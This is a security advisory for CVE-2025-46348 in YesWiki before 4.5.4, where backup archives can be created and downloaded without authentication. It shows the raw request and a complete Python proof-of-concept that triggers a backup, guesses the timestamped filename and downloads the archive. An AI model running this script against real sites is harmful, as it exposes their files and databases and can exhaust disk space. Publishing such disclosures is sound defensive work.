Critical

YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download

  • Disclosed: 29.04.2025
  • Updated: 11.10.2026 10:22

Summary

The request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication.

The archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated.

Details

Create an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for:

POST /?api/archives HTTP/1.1
Host: localhost:8085

action=startArchive&params%5Bsavefiles%5D=true&params%5Bsavedatabase%5D=true&callAsync=true

Then to retrieve it, make a simple GET request like to the correct URL:

http://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip

A malicious attacker could simply fuzz this filename.

PoC

Here is a python script to fuzz this:

python
#!/usr/bin/env python3

import requests
import argparse
import datetime
import time
from urllib.parse import urljoin
from email.utils import parsedate_to_datetime
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Hardcoded proxy config for Burp Suite
BURP_PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}

def send_post_request(base_url, use_proxy=False):
    url = urljoin(base_url, "/?api/archives")
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
    }

    data = {
        "action": "startArchive",
        "params[savefiles]": "true",
        "params[savedatabase]": "true",
        "callAsync": "true"
    }

    proxies = BURP_PROXIES if use_proxy else None
    response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
    print(f"[+] Archive start response code: {response.status_code}")

    server_date = response.headers.get("Date")
    if server_date:
        ts = parsedate_to_datetime(server_date)
        print(f"[✓] Server time (from Date header): {ts.strftime('%Y-%m-%d %H:%M:%S')} UTC")
        return ts
    else:
        print("[!] Server did not return a Date header, falling back to local UTC.")
        return datetime.datetime.utcnow()

def try_download_files(base_url, timestamp, use_proxy=False):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
    }

    proxies = BURP_PROXIES if use_proxy else None
    print("[*] Trying to download the archive with timestamp fuzzing (±10 seconds)...")

    base_ts = timestamp + datetime.timedelta(hours=2)

    time.sleep(30)  # delay to generate the archive

    for offset in range(-4, 15):
        ts = base_ts + datetime.timedelta(seconds=offset)
        filename = ts.strftime("%Y-%m-%dT%H-%M-%S_archive.zip")
        url = urljoin(base_url, f"/?api/archives/{filename}")
        print(f"[>] Trying: {url}")
        r = requests.get(url, headers=headers, proxies=proxies, verify=False)

        if r.status_code == 200 and r.headers.get("Content-Type", "").startswith("application/zip"):
            print(f"[✓] Archive found and downloaded: {filename}")
            with open(filename, "wb") as f:
                f.write(r.content)
            return

    print("[!] No archive found within the fuzzed window.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Trigger archive and fetch resulting file with timestamp fuzzing.")
    parser.add_argument("host", help="Base host URL, e.g., http://localhost:8085")
    parser.add_argument("-p", "--proxy", action="store_true", help="Route requests through Burp Suite proxy at 127.0.0.1:8080")
    args = parser.parse_args()

    ts = send_post_request(args.host, use_proxy=args.proxy)
    print(f"[+] Archive request sent at (UTC): {ts.strftime('%Y-%m-%d %H:%M:%S')}")

    try_download_files(args.host, ts, use_proxy=args.proxy)

Impact

Denial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives.

Site Compromise - A malicious attacker can download the archive which will contain sensitive site information.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package yeswiki/yeswiki < 4.5.4 4.5.4

References

CVSS score 10/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-287, CWE-862
Platform
Composer
Package
yeswiki/yeswiki
Disclosed
29.04.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-wc9g-6j9w-hr95 - CC BY 4.0

Vulnerability history: yeswiki/yeswiki

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (31) in the archive
Total entries
31
First → latest
03.2022 07.2026
Without a fix
2
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 16
  • Medium 8
  • Low 2

Disclosures per year

  1. 2022: 1
  2. 2023: 0
  3. 2024: 1
  4. 2025: 12
  5. 2026: 17
Severity:
  1. High · 8.8 CVE-2026-52775 < 4.6.6 4.6.6
  2. Critical · 9.8 CVE-2026-46670 < 4.6.4 4.6.4
  3. YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download this entry
    Critical · 10.0 CVE-2025-46348 < 4.5.4 4.5.4
  4. High · 7.1 CVE-2025-24019 < 4.5.0 4.5.0
  5. High · 7.6 CVE-2025-24018 < 4.5.0 4.5.0
  6. High · 7.6 CVE-2025-24017 < 4.5.0 4.5.0
  7. High · 9.9 CVE-2024-51478 < 4.4.5 4.4.5
Show more (1) Showing 20 of 21

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